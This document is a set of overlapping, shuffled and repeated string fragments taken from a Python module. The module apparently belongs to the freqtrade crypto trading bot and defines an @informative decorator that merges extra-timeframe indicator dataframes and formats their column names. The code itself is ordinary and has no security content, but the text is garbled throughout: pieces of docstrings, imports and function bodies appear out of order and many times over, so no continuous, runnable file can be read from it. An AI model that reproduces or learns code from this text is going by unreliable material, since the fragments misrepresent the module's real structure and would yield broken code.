"these functions to define informative indicators. Example usage: @informative('1h') def",
"asset is not specified. Format string supports these format variables:",
"# Insert stake currency if needed. asset = _format_pair_name(config, asset)",
"stake currency, column name will omit base currency. # This",
"inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata) formatter:",
"of dataframe column. * {timeframe} - timeframe of informative dataframe.",
"dataframe: DataFrame, metadata: dict, inf_data: InformativeData, populate_indicators: PopulateIndicators): asset =",
"Informatives of other pairs inf_metadata = {'pair': asset, 'timeframe': timeframe}",
"these format variables: * {asset} - full name of the",
"PopulateIndicators): asset = inf_data.asset or '' timeframe = inf_data.timeframe fmt",
"base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(), 'quote': quote.lower(), 'asset': asset, 'timeframe':",
"stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict, inf_data: InformativeData, populate_indicators:",
"Format string supports these format variables: * {asset} - full",
"or similar. if not fmt: fmt = '{column}_{timeframe}' # Informatives",
"base, quote = asset.split('/') else: # When futures are supported",
"usage: @informative('1h') def populate_indicators_1h(self, dataframe: DataFrame, metadata: dict) -> DataFrame:",
"str) -> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame,",
"inplace=True) date_column = formatter(column='date', **fmt_args) if date_column in dataframe.columns: raise",
"# currency. When quote currency matches stake currency, column name",
"format (str) or column formatter (callable(name, asset, timeframe)). When not",
"to keep quote currency in column name at all times",
"asset: base, quote = asset.split('/') else: # When futures are",
"str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict,",
"import merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame, dict], DataFrame] class InformativeData(NamedTuple):",
"as {base}, except in upper case. * {quote} - quote",
"reevaluation. # base, quote = asset, '' raise OperationalException('Not implemented.')",
"DataFrame] class InformativeData(NamedTuple): asset: Optional[str] timeframe: str fmt: Union[str, Callable[[Any],",
"BTC/USDT, ETH/BTC. Do not specify to use current pair. :param",
"{date_column} exists in ' f'dataframe! Ensure column names are unique!')",
"pandas import DataFrame from freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper import",
"currency in lower case, for example 'usdt'. * {QUOTE} -",
"equal or higher than strategy timeframe. :param asset: Informative asset,",
"'BTC/USDT'. * {base} - base currency in lower case, for",
"# base, quote = asset, '' raise OperationalException('Not implemented.') #",
"dataframe, metadata), allowing these functions to define informative indicators. Example",
"= fmt # A custom user-specified formatter function. else: formatter",
"} inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True) date_column = formatter(column='date', **fmt_args)",
"# Default format. This optimizes for the common case: informative",
"if callable(fmt): formatter = fmt # A custom user-specified formatter",
"user-specified formatter function. else: formatter = fmt.format # A default",
"# A default string formatter. fmt_args = { 'BASE': base.upper(),",
"dataframe. :param ffill: ffill dataframe after merging informative pair. \"\"\"",
"specify # fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if not fmt: fmt",
"quote currency in lower case, for example 'usdt'. * {QUOTE}",
"or column formatter (callable(name, asset, timeframe)). When not specified, defaults",
"Optional[str] timeframe: str fmt: Union[str, Callable[[Any], str], None] ffill: bool",
"* {quote} - quote currency in lower case, for example",
"defaults to: * {base}_{quote}_{column}_{timeframe} if asset is specified. * {column}_{timeframe}",
"'usdt'. * {QUOTE} - same as {quote}, except in upper",
"Callable[[Any, DataFrame, dict], DataFrame] class InformativeData(NamedTuple): asset: Optional[str] timeframe: str",
"this may need reevaluation. # base, quote = asset, ''",
"dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return dataframe :param timeframe: Informative timeframe.",
"column name {date_column} exists in ' f'dataframe! Ensure column names",
"timeframe: str fmt: Union[str, Callable[[Any], str], None] ffill: bool def",
"informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs) return fn return",
"supported this may need reevaluation. # base, quote = asset,",
"- quote currency in lower case, for example 'usdt'. *",
"fmt.format # A default string formatter. fmt_args = { 'BASE':",
"different base currency. In a rare case # where it",
"asset, '' raise OperationalException('Not implemented.') # Default format. This optimizes",
"fmt = inf_data.fmt config = strategy.config if asset: # Insert",
"specified. Format string supports these format variables: * {asset} -",
"**fmt_args), inplace=True) date_column = formatter(column='date', **fmt_args) if date_column in dataframe.columns:",
"'', fmt: Optional[Union[str, Callable[[Any], str]]] = None, ffill: bool =",
"ffill def decorator(fn: PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset,",
"populate_indicators_Nn(self, dataframe, metadata), allowing these functions to define informative indicators.",
"timeframe. :param asset: Informative asset, for example BTC, BTC/USDT, ETH/BTC.",
"Example usage: @informative('1h') def populate_indicators_1h(self, dataframe: DataFrame, metadata: dict) ->",
"easily reconfiguring strategy to use different base currency. In a",
"_format_pair_name(config, pair: str) -> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy,",
"merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame, dict], DataFrame] class InformativeData(NamedTuple): asset:",
"= inf_data.timeframe fmt = inf_data.fmt config = strategy.config if asset:",
"ffill: bool def informative(timeframe: str, asset: str = '', fmt:",
"rare case # where it is desired to keep quote",
"base currency. In a rare case # where it is",
"name of the asset, for example 'BTC/USDT'. * {base} -",
"dataframe :param timeframe: Informative timeframe. Must always be equal or",
"asset = inf_data.asset or '' timeframe = inf_data.timeframe fmt =",
"This optimizes for the common case: informative pairs using same",
"desired to keep quote currency in column name at all",
"define informative indicators. Example usage: @informative('1h') def populate_indicators_1h(self, dataframe: DataFrame,",
"Optional[Union[str, Callable[[Any], str]]] = None, ffill: bool = True) ->",
"for current pair. asset = metadata['pair'] if '/' in asset:",
"times user should specify # fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if",
"in ' f'dataframe! Ensure column names are unique!') dataframe =",
"fmt: Column format (str) or column formatter (callable(name, asset, timeframe)).",
"typing import Any, Callable, NamedTuple, Optional, Union from pandas import",
"-> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator for populate_indicators_Nn(self, dataframe, metadata),",
"**fmt_args) if date_column in dataframe.columns: raise OperationalException(f'Duplicate column name {date_column}",
"an asset will define informative dataframe for current pair. asset",
"timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata)",
"formatter: Any = None if callable(fmt): formatter = fmt #",
"populate_indicators: PopulateIndicators): asset = inf_data.asset or '' timeframe = inf_data.timeframe",
"import OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame,",
"inf_metadata = {'pair': asset, 'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe)",
"str = '', fmt: Optional[Union[str, Callable[[Any], str]]] = None, ffill:",
"- full name of the asset, for example 'BTC/USDT'. *",
"except in upper case. * {quote} - quote currency in",
"= '{base}_{quote}_' + fmt # Informatives of other pairs inf_metadata",
"asset will define informative dataframe for current pair. asset =",
"pair. :param fmt: Column format (str) or column formatter (callable(name,",
"timeframe: Informative timeframe. Must always be equal or higher than",
"pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict, inf_data: InformativeData,",
"callable(fmt): formatter = fmt # A custom user-specified formatter function.",
"ffill: ffill dataframe after merging informative pair. \"\"\" _asset =",
"similar. if not fmt: fmt = '{column}_{timeframe}' # Informatives of",
"quote currency in column name at all times user should",
"_asset = asset _timeframe = timeframe _fmt = fmt _ffill",
"return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict, inf_data:",
"currency. When quote currency matches stake currency, column name will",
"This allows easily reconfiguring strategy to use different base currency.",
"asset, 'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy,",
"' f'dataframe! Ensure column names are unique!') dataframe = merge_informative_pair(dataframe,",
"inf_data.asset or '' timeframe = inf_data.timeframe fmt = inf_data.fmt config",
"fn return decorator def _format_pair_name(config, pair: str) -> str: return",
"decorator for populate_indicators_Nn(self, dataframe, metadata), allowing these functions to define",
"the asset, for example 'BTC/USDT'. * {base} - base currency",
"is not specified. Format string supports these format variables: *",
"higher than strategy timeframe. :param asset: Informative asset, for example",
"specified, defaults to: * {base}_{quote}_{column}_{timeframe} if asset is specified. *",
"fmt # A custom user-specified formatter function. else: formatter =",
"strategy timeframe. :param asset: Informative asset, for example BTC, BTC/USDT,",
"of informative dataframe. :param ffill: ffill dataframe after merging informative",
"= timeframe _fmt = fmt _ffill = ffill def decorator(fn:",
"def _format_pair_name(config, pair: str) -> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def",
"example 'BTC/USDT'. * {base} - base currency in lower case,",
"informative(timeframe: str, asset: str = '', fmt: Optional[Union[str, Callable[[Any], str]]]",
"inf_dataframe, inf_metadata) formatter: Any = None if callable(fmt): formatter =",
"= fmt.format # A default string formatter. fmt_args = {",
"if '/' in asset: base, quote = asset.split('/') else: #",
"= strategy.config if asset: # Insert stake currency if needed.",
"strategy to use different base currency. In a rare case",
"functions to define informative indicators. Example usage: @informative('1h') def populate_indicators_1h(self,",
"or '' timeframe = inf_data.timeframe fmt = inf_data.fmt config =",
"fmt _ffill = ffill def decorator(fn: PopulateIndicators): informative_pairs = getattr(fn,",
"'quote': quote.lower(), 'asset': asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column,",
"A custom user-specified formatter function. else: formatter = fmt.format #",
"_create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata: dict, inf_data: InformativeData, populate_indicators: PopulateIndicators): asset",
"except in upper case. * {column} - name of dataframe",
"if date_column in dataframe.columns: raise OperationalException(f'Duplicate column name {date_column} exists",
"omit base currency. # This allows easily reconfiguring strategy to",
"case: informative pairs using same stake # currency. When quote",
"str]]] = None, ffill: bool = True) -> Callable[[PopulateIndicators], PopulateIndicators]:",
"to: * {base}_{quote}_{column}_{timeframe} if asset is specified. * {column}_{timeframe} if",
"case. * {column} - name of dataframe column. * {timeframe}",
"timeframe of informative dataframe. :param ffill: ffill dataframe after merging",
"metadata: dict) -> DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return dataframe",
"* {QUOTE} - same as {quote}, except in upper case.",
"matches stake currency, column name will omit base currency. #",
"fmt = '{base}_{quote}_' + fmt # Informatives of other pairs",
"InformativeData(NamedTuple): asset: Optional[str] timeframe: str fmt: Union[str, Callable[[Any], str], None]",
"str, asset: str = '', fmt: Optional[Union[str, Callable[[Any], str]]] =",
"# This allows easily reconfiguring strategy to use different base",
"asset: Informative asset, for example BTC, BTC/USDT, ETH/BTC. Do not",
"_timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs) return fn return decorator",
"= '{column}_{timeframe}' # Informatives of current pair if inf_data.asset: fmt",
"dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe, ffill=inf_data.ffill, append_timeframe=False, date_column=date_column) return",
"string formatter. fmt_args = { 'BASE': base.upper(), 'QUOTE': quote.upper(), 'base':",
"informative pairs using same stake # currency. When quote currency",
"unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe, ffill=inf_data.ffill, append_timeframe=False, date_column=date_column)",
"column names are unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe,",
"# Informatives of other pairs inf_metadata = {'pair': asset, 'timeframe':",
"import DataFrame from freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair",
"in lower case, for example 'eth'. * {BASE} - same",
"config = strategy.config if asset: # Insert stake currency if",
"than strategy timeframe. :param asset: Informative asset, for example BTC,",
"PopulateIndicators = Callable[[Any, DataFrame, dict], DataFrame] class InformativeData(NamedTuple): asset: Optional[str]",
"to use different base currency. In a rare case #",
"* {base}_{quote}_{column}_{timeframe} if asset is specified. * {column}_{timeframe} if asset",
"fmt_args = { 'BASE': base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(), 'quote':",
"When quote currency matches stake currency, column name will omit",
"(callable(name, asset, timeframe)). When not specified, defaults to: * {base}_{quote}_{column}_{timeframe}",
"keep quote currency in column name at all times user",
"return decorator def _format_pair_name(config, pair: str) -> str: return pair.format(stake_currency=config['stake_currency'],",
"variables: * {asset} - full name of the asset, for",
"futures are supported this may need reevaluation. # base, quote",
"* {base} - base currency in lower case, for example",
"Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator for populate_indicators_Nn(self, dataframe, metadata), allowing",
"When not specified, defaults to: * {base}_{quote}_{column}_{timeframe} if asset is",
"merging informative pair. \"\"\" _asset = asset _timeframe = timeframe",
"indicators. Example usage: @informative('1h') def populate_indicators_1h(self, dataframe: DataFrame, metadata: dict)",
"informative dataframe for current pair. asset = metadata['pair'] if '/'",
"using same stake # currency. When quote currency matches stake",
"case, for example 'eth'. * {BASE} - same as {base},",
"\"\"\" _asset = asset _timeframe = timeframe _fmt = fmt",
"= inf_data.fmt config = strategy.config if asset: # Insert stake",
"upper case. * {column} - name of dataframe column. *",
"{base} - base currency in lower case, for example 'eth'.",
"of the asset, for example 'BTC/USDT'. * {base} - base",
"same stake # currency. When quote currency matches stake currency,",
"stake # currency. When quote currency matches stake currency, column",
"in dataframe.columns: raise OperationalException(f'Duplicate column name {date_column} exists in '",
"= populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any = None if callable(fmt):",
"In a rare case # where it is desired to",
"'_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs) return",
"fmt: Union[str, Callable[[Any], str], None] ffill: bool def informative(timeframe: str,",
"DataFrame, metadata: dict) -> DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return",
"asset, for example 'BTC/USDT'. * {base} - base currency in",
"all times user should specify # fmt='{base}_{quote}_{column}_{timeframe}' format or similar.",
"pairs inf_metadata = {'pair': asset, 'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset,",
"Must always be equal or higher than strategy timeframe. :param",
"'QUOTE': quote.upper(), 'base': base.lower(), 'quote': quote.lower(), 'asset': asset, 'timeframe': timeframe,",
"case. * {quote} - quote currency in lower case, for",
"from freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators =",
"for example 'BTC/USDT'. * {base} - base currency in lower",
"= strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any",
"name {date_column} exists in ' f'dataframe! Ensure column names are",
"{QUOTE} - same as {quote}, except in upper case. *",
"= '', fmt: Optional[Union[str, Callable[[Any], str]]] = None, ffill: bool",
"NamedTuple, Optional, Union from pandas import DataFrame from freqtrade.exceptions import",
"formatter = fmt # A custom user-specified formatter function. else:",
"to define informative indicators. Example usage: @informative('1h') def populate_indicators_1h(self, dataframe:",
"a rare case # where it is desired to keep",
"= _format_pair_name(config, asset) else: # Not specifying an asset will",
"True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\" A decorator for populate_indicators_Nn(self, dataframe,",
"= None if callable(fmt): formatter = fmt # A custom",
"ffill dataframe after merging informative pair. \"\"\" _asset = asset",
"asset = metadata['pair'] if '/' in asset: base, quote =",
"metadata: dict, inf_data: InformativeData, populate_indicators: PopulateIndicators): asset = inf_data.asset or",
"for the common case: informative pairs using same stake #",
"BTC, BTC/USDT, ETH/BTC. Do not specify to use current pair.",
"currency matches stake currency, column name will omit base currency.",
"{ 'BASE': base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(), 'quote': quote.lower(), 'asset':",
"ETH/BTC. Do not specify to use current pair. :param fmt:",
"OperationalException(f'Duplicate column name {date_column} exists in ' f'dataframe! Ensure column",
"if asset: # Insert stake currency if needed. asset =",
"= formatter(column='date', **fmt_args) if date_column in dataframe.columns: raise OperationalException(f'Duplicate column",
"informative_pairs) return fn return decorator def _format_pair_name(config, pair: str) ->",
"formatter function. else: formatter = fmt.format # A default string",
"name will omit base currency. # This allows easily reconfiguring",
"-> DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return dataframe :param timeframe:",
"* {timeframe} - timeframe of informative dataframe. :param ffill: ffill",
"_ffill = ffill def decorator(fn: PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative',",
"the common case: informative pairs using same stake # currency.",
"freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators = Callable[[Any,",
"current pair. :param fmt: Column format (str) or column formatter",
"'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True) date_column =",
"in upper case. * {column} - name of dataframe column.",
"setattr(fn, '_ft_informative', informative_pairs) return fn return decorator def _format_pair_name(config, pair:",
"asset = _format_pair_name(config, asset) else: # Not specifying an asset",
"Informatives of current pair if inf_data.asset: fmt = '{base}_{quote}_' +",
"* {asset} - full name of the asset, for example",
"-> str: return pair.format(stake_currency=config['stake_currency'], stake=config['stake_currency']).upper() def _create_and_merge_informative_pair(strategy, dataframe: DataFrame, metadata:",
"full name of the asset, for example 'BTC/USDT'. * {base}",
"lower case, for example 'usdt'. * {QUOTE} - same as",
"When futures are supported this may need reevaluation. # base,",
"not specified. Format string supports these format variables: * {asset}",
"DataFrame: dataframe['rsi'] = ta.RSI(dataframe, timeperiod=14) return dataframe :param timeframe: Informative",
"pair. asset = metadata['pair'] if '/' in asset: base, quote",
"currency in lower case, for example 'eth'. * {BASE} -",
"Column format (str) or column formatter (callable(name, asset, timeframe)). When",
":param fmt: Column format (str) or column formatter (callable(name, asset,",
"'_ft_informative', informative_pairs) return fn return decorator def _format_pair_name(config, pair: str)",
"Insert stake currency if needed. asset = _format_pair_name(config, asset) else:",
"in column name at all times user should specify #",
"= { 'BASE': base.upper(), 'QUOTE': quote.upper(), 'base': base.lower(), 'quote': quote.lower(),",
"_ffill)) setattr(fn, '_ft_informative', informative_pairs) return fn return decorator def _format_pair_name(config,",
"after merging informative pair. \"\"\" _asset = asset _timeframe =",
"currency, column name will omit base currency. # This allows",
"metadata), allowing these functions to define informative indicators. Example usage:",
"'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe,",
"base.lower(), 'quote': quote.lower(), 'asset': asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column:",
"default string formatter. fmt_args = { 'BASE': base.upper(), 'QUOTE': quote.upper(),",
"in asset: base, quote = asset.split('/') else: # When futures",
"use different base currency. In a rare case # where",
"needed. asset = _format_pair_name(config, asset) else: # Not specifying an",
"timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True) date_column = formatter(column='date',",
"getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn, '_ft_informative', informative_pairs)",
"OperationalException('Not implemented.') # Default format. This optimizes for the common",
"in lower case, for example 'usdt'. * {QUOTE} - same",
"= None, ffill: bool = True) -> Callable[[PopulateIndicators], PopulateIndicators]: \"\"\"",
"DataFrame, dict], DataFrame] class InformativeData(NamedTuple): asset: Optional[str] timeframe: str fmt:",
"format or similar. if not fmt: fmt = '{column}_{timeframe}' #",
"return dataframe :param timeframe: Informative timeframe. Must always be equal",
"(str) or column formatter (callable(name, asset, timeframe)). When not specified,",
"= {'pair': asset, 'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe",
"# fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if not fmt: fmt =",
"Optional, Union from pandas import DataFrame from freqtrade.exceptions import OperationalException",
"Callable[[Any], str], None] ffill: bool def informative(timeframe: str, asset: str",
"column. * {timeframe} - timeframe of informative dataframe. :param ffill:",
"currency. In a rare case # where it is desired",
"'{column}_{timeframe}' # Informatives of current pair if inf_data.asset: fmt =",
"def informative(timeframe: str, asset: str = '', fmt: Optional[Union[str, Callable[[Any],",
"allowing these functions to define informative indicators. Example usage: @informative('1h')",
"if inf_data.asset: fmt = '{base}_{quote}_' + fmt # Informatives of",
"or higher than strategy timeframe. :param asset: Informative asset, for",
"{asset} - full name of the asset, for example 'BTC/USDT'.",
"case, for example 'usdt'. * {QUOTE} - same as {quote},",
"if not fmt: fmt = '{column}_{timeframe}' # Informatives of current",
"Union[str, Callable[[Any], str], None] ffill: bool def informative(timeframe: str, asset:",
"if asset is not specified. Format string supports these format",
"strategy.config if asset: # Insert stake currency if needed. asset",
"formatter = fmt.format # A default string formatter. fmt_args =",
"from typing import Any, Callable, NamedTuple, Optional, Union from pandas",
"informative_pairs = getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt, _ffill)) setattr(fn,",
"'asset': asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True)",
"Do not specify to use current pair. :param fmt: Column",
"name at all times user should specify # fmt='{base}_{quote}_{column}_{timeframe}' format",
"str fmt: Union[str, Callable[[Any], str], None] ffill: bool def informative(timeframe:",
"function. else: formatter = fmt.format # A default string formatter.",
"= ffill def decorator(fn: PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative', [])",
"current pair if inf_data.asset: fmt = '{base}_{quote}_' + fmt #",
"if needed. asset = _format_pair_name(config, asset) else: # Not specifying",
"example BTC, BTC/USDT, ETH/BTC. Do not specify to use current",
"asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args), inplace=True) date_column",
"as {quote}, except in upper case. * {column} - name",
"quote.lower(), 'asset': asset, 'timeframe': timeframe, } inf_dataframe.rename(columns=lambda column: formatter(column=column, **fmt_args),",
"return fn return decorator def _format_pair_name(config, pair: str) -> str:",
"= asset _timeframe = timeframe _fmt = fmt _ffill =",
"currency if needed. asset = _format_pair_name(config, asset) else: # Not",
"decorator(fn: PopulateIndicators): informative_pairs = getattr(fn, '_ft_informative', []) informative_pairs.append(InformativeData(_asset, _timeframe, _fmt,",
"A decorator for populate_indicators_Nn(self, dataframe, metadata), allowing these functions to",
"= Callable[[Any, DataFrame, dict], DataFrame] class InformativeData(NamedTuple): asset: Optional[str] timeframe:",
"pairs using same stake # currency. When quote currency matches",
"Callable, NamedTuple, Optional, Union from pandas import DataFrame from freqtrade.exceptions",
"it is desired to keep quote currency in column name",
"dataframe after merging informative pair. \"\"\" _asset = asset _timeframe",
"metadata['pair'] if '/' in asset: base, quote = asset.split('/') else:",
"for example 'usdt'. * {QUOTE} - same as {quote}, except",
"{timeframe} - timeframe of informative dataframe. :param ffill: ffill dataframe",
"from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame, dict], DataFrame]",
"inf_data: InformativeData, populate_indicators: PopulateIndicators): asset = inf_data.asset or '' timeframe",
"user should specify # fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if not",
"Callable[[Any], str]]] = None, ffill: bool = True) -> Callable[[PopulateIndicators],",
"currency in column name at all times user should specify",
"is desired to keep quote currency in column name at",
"should specify # fmt='{base}_{quote}_{column}_{timeframe}' format or similar. if not fmt:",
"strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any =",
"def populate_indicators_1h(self, dataframe: DataFrame, metadata: dict) -> DataFrame: dataframe['rsi'] =",
"in upper case. * {quote} - quote currency in lower",
"other pairs inf_metadata = {'pair': asset, 'timeframe': timeframe} inf_dataframe =",
"{quote} - quote currency in lower case, for example 'usdt'.",
"asset: Optional[str] timeframe: str fmt: Union[str, Callable[[Any], str], None] ffill:",
"\"\"\" A decorator for populate_indicators_Nn(self, dataframe, metadata), allowing these functions",
"are unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe, ffill=inf_data.ffill, append_timeframe=False,",
"quote = asset, '' raise OperationalException('Not implemented.') # Default format.",
"names are unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe, ffill=inf_data.ffill,",
"informative indicators. Example usage: @informative('1h') def populate_indicators_1h(self, dataframe: DataFrame, metadata:",
"import Any, Callable, NamedTuple, Optional, Union from pandas import DataFrame",
"_fmt = fmt _ffill = ffill def decorator(fn: PopulateIndicators): informative_pairs",
"be equal or higher than strategy timeframe. :param asset: Informative",
"timeframe) inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any = None",
"optimizes for the common case: informative pairs using same stake",
"DataFrame from freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators",
"@informative('1h') def populate_indicators_1h(self, dataframe: DataFrame, metadata: dict) -> DataFrame: dataframe['rsi']",
"base currency. # This allows easily reconfiguring strategy to use",
"date_column in dataframe.columns: raise OperationalException(f'Duplicate column name {date_column} exists in",
"= ta.RSI(dataframe, timeperiod=14) return dataframe :param timeframe: Informative timeframe. Must",
"exists in ' f'dataframe! Ensure column names are unique!') dataframe",
":param ffill: ffill dataframe after merging informative pair. \"\"\" _asset",
"stake currency if needed. asset = _format_pair_name(config, asset) else: #",
"from pandas import DataFrame from freqtrade.exceptions import OperationalException from freqtrade.strategy.strategy_helper",
"None] ffill: bool def informative(timeframe: str, asset: str = '',",
"+ fmt # Informatives of other pairs inf_metadata = {'pair':",
"column name will omit base currency. # This allows easily",
"= merge_informative_pair(dataframe, inf_dataframe, strategy.timeframe, timeframe, ffill=inf_data.ffill, append_timeframe=False, date_column=date_column) return dataframe",
"Informative timeframe. Must always be equal or higher than strategy",
"at all times user should specify # fmt='{base}_{quote}_{column}_{timeframe}' format or",
"<reponame>Fractate/freqbot from typing import Any, Callable, NamedTuple, Optional, Union from",
"of other pairs inf_metadata = {'pair': asset, 'timeframe': timeframe} inf_dataframe",
"raise OperationalException('Not implemented.') # Default format. This optimizes for the",
"timeframe = inf_data.timeframe fmt = inf_data.fmt config = strategy.config if",
"inf_data.fmt config = strategy.config if asset: # Insert stake currency",
"inf_dataframe = populate_indicators(strategy, inf_dataframe, inf_metadata) formatter: Any = None if",
"= fmt _ffill = ffill def decorator(fn: PopulateIndicators): informative_pairs =",
"supports these format variables: * {asset} - full name of",
"else: # Not specifying an asset will define informative dataframe",
"date_column = formatter(column='date', **fmt_args) if date_column in dataframe.columns: raise OperationalException(f'Duplicate",
"pair. \"\"\" _asset = asset _timeframe = timeframe _fmt =",
"'' timeframe = inf_data.timeframe fmt = inf_data.fmt config = strategy.config",
"'' raise OperationalException('Not implemented.') # Default format. This optimizes for",
"{'pair': asset, 'timeframe': timeframe} inf_dataframe = strategy.dp.get_pair_dataframe(asset, timeframe) inf_dataframe =",
":param timeframe: Informative timeframe. Must always be equal or higher",
"= metadata['pair'] if '/' in asset: base, quote = asset.split('/')",
"- same as {quote}, except in upper case. * {column}",
"f'dataframe! Ensure column names are unique!') dataframe = merge_informative_pair(dataframe, inf_dataframe,",
"same as {quote}, except in upper case. * {column} -",
"A default string formatter. fmt_args = { 'BASE': base.upper(), 'QUOTE':",
"implemented.') # Default format. This optimizes for the common case:",
"'/' in asset: base, quote = asset.split('/') else: # When",
"asset.split('/') else: # When futures are supported this may need",
"use current pair. :param fmt: Column format (str) or column",
"else: # When futures are supported this may need reevaluation.",
"quote currency matches stake currency, column name will omit base",
"string supports these format variables: * {asset} - full name",
"= asset, '' raise OperationalException('Not implemented.') # Default format. This",
"Union from pandas import DataFrame from freqtrade.exceptions import OperationalException from",
"Not specifying an asset will define informative dataframe for current",
"{column} - name of dataframe column. * {timeframe} - timeframe",
"{base}_{quote}_{column}_{timeframe} if asset is specified. * {column}_{timeframe} if asset is",
"if asset is specified. * {column}_{timeframe} if asset is not",
"else: formatter = fmt.format # A default string formatter. fmt_args",
"fmt = '{column}_{timeframe}' # Informatives of current pair if inf_data.asset:",
"lower case, for example 'eth'. * {BASE} - same as",
"always be equal or higher than strategy timeframe. :param asset:",
"Informative asset, for example BTC, BTC/USDT, ETH/BTC. Do not specify",
"_timeframe = timeframe _fmt = fmt _ffill = ffill def",
"# When futures are supported this may need reevaluation. #",
"- same as {base}, except in upper case. * {quote}",
"asset: # Insert stake currency if needed. asset = _format_pair_name(config,",
"OperationalException from freqtrade.strategy.strategy_helper import merge_informative_pair PopulateIndicators = Callable[[Any, DataFrame, dict],",
"dict, inf_data: InformativeData, populate_indicators: PopulateIndicators): asset = inf_data.asset or ''",
"dataframe.columns: raise OperationalException(f'Duplicate column name {date_column} exists in ' f'dataframe!",
"for populate_indicators_Nn(self, dataframe, metadata), allowing these functions to define informative",
"example 'usdt'. * {QUOTE} - same as {quote}, except in",
"specifying an asset will define informative dataframe for current pair.",
"* {column}_{timeframe} if asset is not specified. Format string supports",
"define informative dataframe for current pair. asset = metadata['pair'] if",
"- timeframe of informative dataframe. :param ffill: ffill dataframe after",
"upper case. * {quote} - quote currency in lower case,",
"name of dataframe column. * {timeframe} - timeframe of informative",
"formatter(column=column, **fmt_args), inplace=True) date_column = formatter(column='date', **fmt_args) if date_column in",
"specified. * {column}_{timeframe} if asset is not specified. Format string",
"None if callable(fmt): formatter = fmt # A custom user-specified",
